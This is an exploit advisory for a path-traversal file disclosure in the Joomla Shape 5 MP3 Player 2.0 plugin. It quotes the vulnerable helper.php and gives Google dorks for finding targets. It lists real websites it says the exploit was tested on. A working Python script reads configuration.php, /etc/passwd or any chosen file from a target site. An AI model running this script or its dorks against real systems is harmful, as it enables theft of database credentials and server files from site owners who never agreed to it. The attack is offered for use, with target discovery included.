.__        _____        _______                
                |  |__    /  |  |___  __\   _  \_______   ____ 
                |  |  \  /   |  |\  \/  /  /_\  \_  __ \_/ __ \
                |   Y  \/    ^   />    <\  \_/   \  | \/\  ___/
                |___|  /\____   |/__/\_ \\_____  /__|    \___  >
                     \/      |__|      \/      \/            \/
                         _____________________________ 
                        /   _____/\_   _____/\_   ___ \  
                        \_____  \  |    __)_ /    \  \/ 
                        /        \ |        \\     \____ 
                       /_______  //_______  / \______  /
                               \/         \/         \/           
Joomla <= (Shape 5 MP3 Player 2.0) Local File Disclosure Exploit 
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockout@e-mail.com.tr
[~] Skype : knockoutr@msn.com
[~] HomePage : http://milw00rm.com - http://h4x0resec.blogspot.com 
[~] Greetz :  b3mb4m, ZoRLu, KedAns-Dz ( milw00rm.com )
===================================================================
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : Joomla 
|~Plugin : Shape 5 MP3 Player 2.0
|~Affected Version : 2.0
|~Software  : http://extensions.joomla.org/extension/shape-5-mp3-player
|~RISK : High
|~Google Dork :  inurl:"php?fileUrl=" site:ru
|~Google Dork :  inurl:plugins/content/s5_media_player
===================================================================
======================Info=========================================
helper.php unconsciously encoded.
This is a very simple security measures, It was exposed to attack.
if base64 encrypting the file names
'fileurl'  function is used, and local files will be easily exposed.
============ Error line's in helper.php ===========================
<?php
$path = base64_decode($_REQUEST['fileurl']);
$base = basename($path);
$path1 = str_replace(' ','%20',$path);

header('Content-Description: File Transfer');
header('Content-Type:application/octet-stream');
header('Content-Transfer-Encoding: Binary');
header("Content-disposition: attachment; filename=\"".basename($path)."\"");
header('Content-Length: ' . filesize($path));
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
readfile($path1);
exit;
?>
======================================================================
======================== Tested on Demos  ============================
www.kraskinotv.ru
www.alexandra-pavlyuk.ru
www.kovspas.ru
www.asetkz.ru
www.cciheredia.cr
www.helicopterspray.com
www.kpu-karawang.go.id
www.practicalbioethics.org
www.iccfoundation.us
www.mixticius.net
www.stbarnabasdulwich.org
www.ahavathachim.com
www.dcbaptist.org
www.stjohnmansfield.org
www.ilyda.com
www.mountainviewchapel.com
www.biamd.org
www.lavingtonunited.org
www.cypressbible.org
www.brianmcgilloway.com
www.toneside.com
..
etc
..
=======================================================================
================ usage: python h4.py www.site.com  ====================

import base64
import sys
import urllib


def exploit():
  while True:
    print """
[1] = configuration.php
[2] = Try Read /etc/passwd
[3] = Try Read /etc/group
    """
    command = raw_input("h4 Console# ")
    if command == "1":
      command = base64.b64encode("../../../configuration.php")
    elif command == "2":
      command = base64.b64encode("../../../../../../../../../etc/passwd")
    elif command == "3":
      command = base64.b64encode("../../../../../../../../../etc/group")
    else:
      command = base64.b64encode(command)

    url = "http://%s/plugins/content/s5_media_player/helper.php?fileurl=%s"  % (sys.argv[1],command)

    try:
      test = urllib.urlopen(url)
      if len(test.read()) <= 0:
        print "Exploit failed .."
      else:
        urllib.urlretrieve(url, command)
        #wget.download(url)
        print "Exploit success ! "
    except Exception as e:
      print "Unexpected error : %s " % e




if __name__ == '__main__':
  if len(sys.argv) > 2:
    print "Error usage : python exploit.py website.com"
  else:
    exploit()